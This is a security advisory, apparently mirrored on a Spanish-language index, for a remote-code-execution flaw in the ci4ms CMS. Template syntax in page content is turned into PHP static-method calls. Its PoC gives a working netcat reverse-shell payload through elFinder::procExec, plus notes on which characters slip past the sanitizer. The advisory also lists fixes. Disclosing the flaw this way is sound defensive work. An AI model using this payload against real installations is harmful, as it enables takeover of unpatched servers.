GHSA-MVG9-V63P-HP2H
Remote Code Execution via template-function parsing in page content
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MVG9-V63P-HP2H divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A PHP code-injection flaw in App\Libraries\CommonLibrary::parseInTextFunctions() lets a backend user who can edit page content turn that content into an arbitrary PHP static-method call. Because the parsed page body is rendered on every public page view, the call is triggered by any visitor (no authentication required). By targeting the static method elFinder::procExec() (autoloadable via the bundled studio-42/elfinder Composer classmap, which passes its first argument straight to proc_open()), an attacker achieves Remote Code Execution as the web-server user. No source-code modification is required to exploit this.
Details
`parseInTextFunctions()` scans user-controlled page content for the pattern `{Class|method[/ARG/]/}` and invokes it directly with no allow-list.
`app/Libraries/CommonLibrary.php`:
<img width="1579" height="868" alt="{590BEF33-4AC4-4A5E-A6FF-622CDDBAC195}" src="https://github.com/user-attachments/assets/d64c6ec4-ca70-40f1-b304-735dce07bd25" />
The input string `{elFinder|procExec[/ARG/]/}` is decomposed into the callable `['elFinder', 'procExec']` and the argument `'ARG'`, producing:
call_user_func_array(['elFinder', 'procExec'], ['ARG']);PHP only accepts `Class::method` for an array callable, so a single-element callable such as `system` is not reachable. But a static method whose first parameter is a shell command is the perfect gadget.
Sanitizer bypass: {...} is not an HTML tag, so the stored-content purifier leaves it intact. Only parser constraints apply: |, /], /} cannot appear in the command, and the save-time purifier entity-encodes <, >, &, quotes. Spaces, ;, and / paths work. Enough for arbitrary execution (touch, mkdir, staged loaders).
PoC
Roles used
- Low-privileged backend user whose permission is creating/editing page content (no admin, no module, no settings rights).
- Log in to the backend as the low-privileged page editor and open the page editor for a page the user is allowed to create/edit.
- Set the page content to:
```
{elFinder|procExec[/busybox nc 127.0.0.1 4646 -e sh/]/}
```
<img width="2536" height="964" alt="image" src="https://github.com/user-attachments/assets/724cb967-8d45-4c26-90cf-2c1fbac7c3a2" />
Save it. The payload is stored verbatim (the HTML purifier does not strip `{...}`).
*(Note: `>` `&` `<` `|` are blocked by the purifier/parser. Do not use them in the command; `touch`, `mkdir`, `;`, and spaces work.)*
- Render the page (open its public URL, e.g. `http://localhost:8080/<pagelink>` `http://localhost:8080/contact`).
<img width="848" height="724" alt="image" src="https://github.com/user-attachments/assets/a3aef936-cb31-4a7d-9664-4c8020543bbb" />
Impact
- Full Host Compromise: Code executes under the web server user, allowing attackers to deploy persistent Web Shells, establish Reverse Shells, and achieve full control of the operating system.
Fix
- Remove the dynamic-dispatch sink entirely and resolve in-text functions through a fixed allow-list. User content must never be turned into a callable.
- Never pass user-influenced strings to `call_user_func`/`call_user_func_array`/`proc_open`/`exec`/etc.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistci4-cms-erp/ci4ms |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-mvg9-v63p-hp2hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
